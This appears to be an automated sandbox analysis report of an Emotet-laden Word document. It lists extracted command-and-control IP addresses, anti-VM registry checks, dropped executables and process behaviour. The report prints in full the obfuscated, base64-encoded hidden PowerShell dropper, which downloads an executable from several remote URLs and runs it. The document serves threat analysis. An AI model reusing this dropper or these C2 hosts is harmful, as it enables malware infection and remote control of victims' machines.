Analysis
-
max time kernel
129s -
max time network
150s -
resource
win10v191014
Task
task1
Sample
Docs_c3d6e9cced9f71d25309a2240eb8b182.8.doc
Resource
win7v191014
0 signatures
General
-
Target
Docs_c3d6e9cced9f71d25309a2240eb8b182.8
-
Sample
191207-9433klx7jx
-
SHA256
819273b637aa3d7db7f8e436d37513443d2eb96b7d449bf11cdd3f1fc221d2b6
Score
N/A
Malware Config
Extracted
Family
emotet
C2
172.90.70.168:443
72.69.99.47:80
24.28.178.71:80
172.105.213.30:80
69.30.205.162:7080
50.63.13.135:8080
192.161.190.171:8080
119.159.150.176:443
98.15.140.226:80
190.189.79.73:80
181.44.166.242:80
198.57.217.170:8080
210.224.65.117:80
82.79.244.92:80
72.27.212.209:8080
212.129.14.27:8080
181.47.235.26:993
182.176.116.139:995
142.93.87.198:8080
190.101.87.170:80
81.82.247.216:80
181.197.108.171:443
83.156.88.159:80
139.162.185.116:443
187.233.220.93:443
98.15.140.226:80
192.163.221.191:8080
77.245.12.212:80
45.129.121.222:443
192.241.220.183:8080
124.150.175.129:8080
37.59.24.25:8080
41.218.118.66:80
221.154.59.110:80
110.142.161.90:80
211.218.105.101:80
124.150.175.133:80
60.53.3.153:8080
195.201.56.68:7080
191.100.24.201:50000
83.110.107.243:443
197.90.159.42:80
5.189.148.98:8080
46.17.6.116:8080
81.213.145.45:443
123.142.37.165:80
201.196.15.79:990
152.169.32.143:8080
138.197.140.163:8080
176.58.93.123:80
83.99.211.160:80
115.179.91.58:80
172.90.70.168:443
195.191.107.67:80
80.102.124.98:8080
172.245.13.50:8080
177.103.201.23:80
122.11.164.183:80
80.93.48.49:7080
95.216.207.86:7080
186.215.101.106:80
95.216.212.157:8080
103.122.75.218:80
210.111.160.220:80
174.57.150.13:8080
89.215.225.15:80
212.112.113.235:80
186.66.224.182:990
189.61.200.9:443
78.186.102.195:80
188.230.134.205:80
193.33.38.208:443
163.172.97.112:8080
41.77.74.214:443
178.134.1.238:80
172.104.70.207:8080
201.183.251.100:80
85.105.183.228:443
23.253.207.142:8080
78.46.87.133:8080
72.69.99.47:80
190.161.67.63:80
143.95.101.72:8080
190.5.162.204:80
46.105.131.68:8080
1.32.54.12:8080
113.52.135.33:7080
216.75.37.196:8080
162.144.46.90:8080
51.38.134.203:8080
187.177.155.123:990
189.225.211.171:443
50.116.78.109:8080
192.210.217.94:8080
24.28.178.71:80
200.71.112.158:53
187.250.92.82:80
91.117.31.181:80
157.7.164.178:8081
rsa_pubkey.plain
Signatures
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Processes:
WINWORD.EXEdescription ioc pid process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm 4860 WINWORD.EXE File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm 4860 WINWORD.EXE File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_c3d6e9cced9f71d25309a2240eb8b182.8.doc 4860 WINWORD.EXE File created C:\Users\Admin\AppData\Local\Temp\~$cs_c3d6e9cced9f71d25309a2240eb8b182.8.doc 4860 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4860 WINWORD.EXE -
Executes dropped EXE 4 IoCs
Processes:
11.exe11.exezapnon.exezapnon.exepid process 4472 11.exe 4528 11.exe 3804 zapnon.exe 4308 zapnon.exe -
Processes:
11.exedescription ioc pid process Event created Global\EBFF43E09 4528 11.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4860 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
WINWORD.EXEdescription ioc pid process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 4860 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4860 WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS 4860 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily 4860 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU 4860 WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEdescription ioc pid process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 4860 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4860 WINWORD.EXE -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
11.exezapnon.exepid process 4528 11.exe 4308 zapnon.exe -
Drops file in system dir 11 IoCs
Processes:
11.exezapnon.exesvchost.exedescription ioc pid process File renamed C:\Users\Admin\11.exe => C:\Windows\SysWOW64\zapnon.exe 4528 11.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat 4308 zapnon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 4308 zapnon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE 4308 zapnon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies 4308 zapnon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 4308 zapnon.exe File opened for modification C:\Windows\Debug\ESE.TXT 4124 svchost.exe File opened for modification C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp 4124 svchost.exe File created C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp 4124 svchost.exe File opened for modification C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-2.tmp 4124 svchost.exe File created C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-2.tmp 4124 svchost.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE11.exe11.exezapnon.exezapnon.exepid process 4860 WINWORD.EXE 4472 11.exe 4528 11.exe 3804 zapnon.exe 4308 zapnon.exe -
Checks system information in the registry (likely anti-VM) 2 TTPs 4 IoCs
Processes:
WINWORD.EXEsvchost.exedescription ioc pid process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer 4860 WINWORD.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName 4860 WINWORD.EXE Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer 4760 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName 4760 svchost.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1000 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exezapnon.exepid process 1000 powershell.exe 4308 zapnon.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
powershell.exe11.exeSppExtComObj.exezapnon.exedescription pid process target process PID 1000 wrote to memory of 4472 1000 powershell.exe 11.exe PID 4472 wrote to memory of 4528 4472 11.exe 11.exe PID 4564 wrote to memory of 4524 4564 SppExtComObj.exe SLUI.exe PID 3804 wrote to memory of 4308 3804 zapnon.exe zapnon.exe -
Processes:
svchost.exedescription ioc pid process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" 4104 svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" 4104 svchost.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_c3d6e9cced9f71d25309a2240eb8b182.8.doc" /o ""1⤵
- Drops Office document
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
- Suspicious use of SetWindowsHookEx
- Checks system information in the registry (likely anti-VM)
PID:4860
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -en JABBAHMAYQB1AGMAbgBhAHEAZQB6AGgAPQAnAEkAcgB3AHkAeABsAHcAdwBtAGMAaAAnADsAJABGAHAAZwB4AGcAbgBwAHQAIAA9ACAAJwAxADEAJwA7ACQAVgBhAHQAbQB6AHEAZABnAG4AagBzAD0AJwBRAG0AZwB1AHUAbABjAHkAZwBqAG8AcwBoACcAOwAkAFUAaABnAGoAbQBiAGoAcQBjAGwAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAcABnAHgAZwBuAHAAdAArACcALgBlAHgAZQAnADsAJABPAHAAdAB0AHcAeQBmAHEAbABuAGgAZAA9ACcARABuAGcAeQBwAGcAagBnACcAOwAkAFAAeQBwAGsAegB4AGoAdAB3AD0ALgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMAbABpAEUAbgBUADsAJABCAGQAaABwAHgAZwBsAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgBlAHcAdAByAGUAbgBkAG0AYQBsAGwALgBzAHQAbwByAGUALwAwADEALQBpAG4AcwB0AGEAbABsAC8AYgBGAE4AaQBXAG4AVgBWAEkALwAqAGgAdAB0AHAAOgAvAC8AcwBjAGEAbQBtAGUAcgByAGUAdgBpAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBEAFMAcwBjAFgASABtAC8AKgBoAHQAdABwADoALwAvAG4AYQBtAGkAcwBhAGYAZgByAG8AbgAuAGMAbwBtAC8AdgA1ADkAcgBuAGkALwBaAFQAdQBhAEoAYQBuAGMAbwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbwBvAGQAZABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkAGUANABwADIAZQBjADMALQB3AGoANABtAGcAaABqAG8AdQAtADEANQA4ADgAOQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB4AGIAaQBsAGwALgBkAGUAdgBwAGEAYwBlAC4AbgBlAHQALwBCAGwAbwBnAC8AdgBsADAAMQBzAC0AMwBiAHUAcQBjAGoALQAwADkAOAAwADcANwAzADAANAAxAC8AJwAuACIAUwBwAGAAbABpAFQAIgAoACcAKgAnACkAOwAkAE8AZABxAG8AcQBlAHUAcwB2AGkAPQAnAFEAeQBjAHgAbAB3AHUAZwBuAGgAcwB2AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAgAGkAbgAgACQAQgBkAGgAcAB4AGcAbAB5ACkAewB0AHIAeQB7ACQAUAB5AHAAawB6AHgAagB0AHcALgAiAEQAYABvAHcATgBsAG8AQQBkAGAARgBgAGkATABFACIAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAsACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkAOwAkAFQAcgBwAGwAaQBoAGcAZgB0AD0AJwBaAGgAdABwAGkAYgBrAGYAdwBpAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkALgAiAGwAZQBuAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQAMAA4ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAVQBoAGcAagBtAGIAagBxAGMAbAApADsAJABMAGIAegBoAGsAdQBsAHUAdgBhAGEAPQAnAEkAcQBrAHQAaQBwAHUAdwBuAG4AeAB6AHIAJwA7AGIAcgBlAGEAawA7ACQAWgBhAHgAegB1AHkAeABmAGcAeABqAG0AZgA9ACcAUwBvAGMAZQBjAHAAbQBvAG4AYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAG8AYgBpAHMAagBuAHUAdgBkAGIAPQAnAEwAbABkAHYAegBkAHAAcgBjAHUAagB3AG0AJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1000
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C:\Users\Admin\11.exe"C:\Users\Admin\11.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4472
-
C:\Users\Admin\11.exe--47f9ceaa1⤵
- Executes dropped EXE
- Emotet Sync
- Suspicious behavior: EmotetMutantsSpam
- Drops file in system dir
- Suspicious use of SetWindowsHookEx
PID:4528
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4564
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:4524
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C:\Windows\SysWOW64\zapnon.exe"C:\Windows\SysWOW64\zapnon.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3804
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C:\Windows\SysWOW64\zapnon.exe--390e35361⤵
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in system dir
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:4308
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in system dir
PID:4124
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4148
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵
- Checks system information in the registry (likely anti-VM)
PID:4760
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵PID:4488
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵
- Windows security modification
PID:4104
Network
MITRE ATT&CK Enterprise v15
MITRE ATT&CK Additional techniques
- T1089